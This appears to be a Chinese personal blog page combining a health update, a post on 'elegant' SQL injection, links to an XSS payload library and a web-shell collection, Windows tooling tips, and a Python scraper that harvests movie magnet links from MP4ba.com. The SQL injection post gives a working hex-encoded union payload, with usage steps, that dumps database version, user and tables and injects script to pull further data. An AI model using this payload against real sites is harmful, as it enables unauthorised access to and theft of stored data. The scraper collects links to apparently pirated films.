好了

脸上好了许多,终于不怕出去吓人了~
就是仔细看还能看到暗红色的斑,继续涂药,吃药!
不幸的是我还是中度的脂肪肝
这是什么节奏啊
检查出中度脂肪肝,立马就是急性湿疹。。
看看吧,先减少脂肪类摄入,加强锻炼,半年后,在检查看看。
希望能好! ^_^! :+1:

ps:往往愿望是美好的,但是前行的道路是曲折的
泪奔。。。。。。

优雅的进行sql injection

刚刚从网上看到的~

优雅的进行sql

  1. 首先

    by ```判断字段数
    1
    2
    2. 随意选个可以回显的字段替换下面的代码:
    ```concat(0x3c7363726970743e75726c3d70726f6d707428224a757374207265706c61636520796f757220496e6a656374696f6e20706f696e742077697468206b6579776f726420276d616b6d616e2722293b3c2f7363726970743e3c6469762069643d226172736368223e,0x3c62723e3c7461626c6520626f726465723d2231223e3c74723e3c74643e44422056657273696f6e203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,version(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e2044422055736572203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,user(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e5072696d617279204442203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,database(),0x203c2f74643e3c2f74723e3c2f7461626c653e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e43686f6f73652061207461626c652066726f6d207468652064726f70646f776e206d656e75203a203c2f666f6e743e3c62723e,concat(0x3c7363726970743e66756e6374696f6e20746f48657828737472297b76617220686578203d27273b666f722876617220693d303b693c7374722e6c656e6774683b692b2b297b686578202b3d2027272b7374722e63686172436f646541742869292e746f537472696e67283136293b7d72657475726e206865783b7d66756e6374696f6e2072656469726563742873697465297b6d616b73706c69743d736974652e73706c697428222e22293b64626e616d653d6d616b73706c69745b305d3b74626c6e616d653d6d616b73706c69745b315d3b6d616b7265703d22636f6e636174284946284074626c3a3d3078222b746f4865782874626c6e616d65292b222c3078302c307830292c4946284064623a3d3078222b746f4865782864626e616d65292b222c3078302c307830292c636f6e6361742830783363373336333732363937303734336537353732366333643232222b746f4865782875726c292b2232323362336332663733363337323639373037343365292c636f6e63617428636f6e6361742830783363373336333732363937303734336536343632336432322c4064622c307832323362373436323663336432322c4074626c2c3078323233623363326637333633373236393730373433652c30783363363233653363363636663665373432303633366636633666373233643732363536343365323035333531346336393437346634343733323035333739366537343631373832303536323033313265333032303432373932303464363136623464363136653363326636363666366537343365336336323732336533633632373233653534363136323663363532303465363136643635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4074626c2c3078336332663636366636653734336532303636373236663664323036343631373436313632363137333635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4064622c307833633266363636663665373433653363363237323365346537353664363236353732323034663636323034333666366337353664366537333230336132303363363636663665373432303633366636633666373233643632366337353635336533633733363337323639373037343365363336663663363336653734336432322c2853454c45435420636f756e7428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d40646220616e64207461626c655f6e616d653d4074626c292c3078323233623634366636333735366436353665373432653737373236393734363532383633366636633633366537343239336233633266373336333732363937303734336533633266363636663665373433652c307833633632373233652c2873656c65637420284078292066726f6d202873656c656374202840783a3d30783030292c284063686b3a3d31292c202873656c656374202830292066726f6d2028696e666f726d6174696f6e5f736368656d612e636f6c756d6e732920776865726520287461626c655f736368656d613d3078222b746f4865782864626e616d65292b222920616e6420287461626c655f6e616d653d3078222b746f4865782874626c6e616d65292b222920616e642028307830302920696e202840783a3d636f6e6361745f777328307832302c40782c4946284063686b3d312c30783363373336333732363937303734336532303633366636633665363136643635323033643230366536353737323034313732373236313739323832393362323037363631373232303639323033643230333133622c30783230292c30783230363336663663366536313664363535623639356432303364323032322c636f6c756d6e5f6e616d652c307832323362323036393262326233622c4946284063686b3a3d322c307832302c30783230292929292978292c30783636366637323238363933643331336236393363336436333666366336333665373433623639326232623239376236343666363337353664363536653734326537373732363937343635323832323363363636663665373432303633366636633666373233643637373236353635366533653232326236393262323232653230336332663636366636653734336532323262363336663663366536313664363535623639356432623232336336323732336532323239336237643363326637333633373236393730373433652c636f6e6361742830783363363233652c307833633733363337323639373037343365373137353635373237393364323232323362363636663732323836393364333133623639336336333666366336333665373433623639326232623239376237313735363537323739336437313735363537323739326236333666366336653631366436353562363935643262323232633330373833323330333336313333363133323330326332323362376437353732366333643735373236633265373236353730366336313633363532383232323732323263323232353332333732323239336236343664373037313735363537323739336437353732366332653732363537303663363136333635323832323664363136623664363136653232326332323238373336353663363536333734323834303239323036363732366636643238373336353663363536333734323834303361336433303738333033303239323032633238373336353663363536333734323032383430323932303636373236663664323832323262363436323262323232653232326237343632366332623232323937373638363537323635323834303239323036393665323032383430336133643633366636653633363137343566373737333238333037383332333032633430326332323262373137353635373237393262323233303738333336333336333233373332333336353239323932393239363132393232323933623634366636333735366436353665373432653737373236393734363532383232336336313230363837323635363633643237323232623634366437303731373536353732373932623232323733653433366336393633366232303438363537323635323037343666323034343735366437303230373436383639373332303737363836663663363532303534363136323663363533633631336532323239336233633266373336333732363937303734336529292929223b75726c3d75726c2e7265706c616365282227222c2225323722293b75726c706173313d75726c2e7265706c61636528226d616b6d616e222c6d616b726570293b77696e646f772e6f70656e2875726c70617331293b7d3c2f7363726970743e3c73656c656374206f6e6368616e67653d22726564697265637428746869732e76616c756529223e3c6f7074696f6e2076616c75653d226d6b6e6f6e65222073656c65637465643e43686f6f73652061205461626c653c2f6f7074696f6e3e,(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c6f7074696f6e2076616c75653d22,UNHEX(HEX(table_schema)),0x2e,UNHEX(HEX(table_name)),0x223e,UNHEX(HEX(concat(0x4461746162617365203a3a20,table_schema,0x203a3a205461626c65203a3a20,table_name))),0x3c2f6f7074696f6e3e))))x),0x3c2f73656c6563743e),0x3c7363726970743e646f63756d656e742e626f64792e696e6e657248544d4c3d646f63756d656e742e676574456c656d656e74427949642827617273636827292e696e6e657248544d4c3b3c2f7363726970743e)

  2. 确定后输入之前联合查询替换前的url(此时的相应字段要替换为makman),确定

  3. 之后就是优雅的进行sql查询了~

选择相应的表,查看数据,导出

以上代码转自 Arschloch’Blog

xss payloads

为什么说是伪原创呢?
因为用的是owasp 出的xss检测神器,没有payloads库,那就让其扫描自己的网站,之后在根据日志来选出自己需要的,过程还算简单,就是Xenotix 扫描速度有些慢。
扫描速度慢,或许是自己不会用吧 :blush:

其实就是把 Xenotix 的payloads共享出来
同样的方法,大家也可以让360去扫,安全宝去扫 之后在整理浏览器的日志就有各自的paylods库了~

Xenotix 下载地址

Xenotix payloads downlod

windows with linux command

如上,这次介绍的是在win下的的gcc 和 一些linux 命令

gcc 一般在win下使用都是MinGW,推荐一个迷你的gcc TDM-GCC,相对MinGW的大体积,TDM-GCC不足35M大小的安装包完全是秒杀~~

另外推荐的是在win可以使用linux 命令的,同样不去使用大体积的cygwin,而是gow(大小不足10M)但是里面的工具基本包含了linux的下常用命令。

大家都可以去试一试,还是不错的~ :ghost: :ghost:

shell

从网络收集的各个shell大集合,如有兴趣,可以看看
当然,欢迎大家提交新的shell
地址:点这里
撒,还是不知道,自己慢慢找找~~

MP4ba电影网站爬虫下载链接

简单的爬虫了下MP4ba.com的下载链接,格式为“类型,名字,下载链接”

需要的可以去下载哈~ 地址

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
# -*- coding : utf-8 -*-
# author: tennc
# date: 2015/9/10
# filename: mp4ba_spider.py
#
# The MIT License
#
# Copyright (c) 2015
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
import requests
from bs4 import BeautifulSoup
import time
import re
pchinese=re.compile('([\u4e00-\u9fa5]+)+?') #匹配中文 匹配电影类型
mingzitemp=re.compile('(target="_blank">(\s+)).(.+)') #moive name
urltemp = re.compile('(hash=)(\S+)')#匹配hash
file = open('mp4ba.txt','w',encoding="utf-8")
for i in range(1,68):
response = requests.get("http://www.mp4ba.com/index.php?page=" + str(i))
soup = BeautifulSoup(response.text,"html.parser")
a = soup.find("tbody").findAll('tr')
for m in a :
#print(m)
mingzi = str(mingzitemp.findall(str(m))).split()[-1].replace("</a>')]","").replace("'","").replace('</a>")]',"").replace('"',"")
leixing = str(pchinese.findall(str(m))[0])
urldown = str(urltemp.findall(str(m))[:][-1]).replace("'hash=', '","magnet:?xt=urn:btih:").replace("'","").replace('"',"").replace("(","").replace(')','')
#print(urldown)
data = str(leixing) + "," + str(mingzi) + "," + str(urldown) + "\n"
file.write(data)
time.sleep(2) #延时1秒后继续运行下一页
file.close()

代码下载

,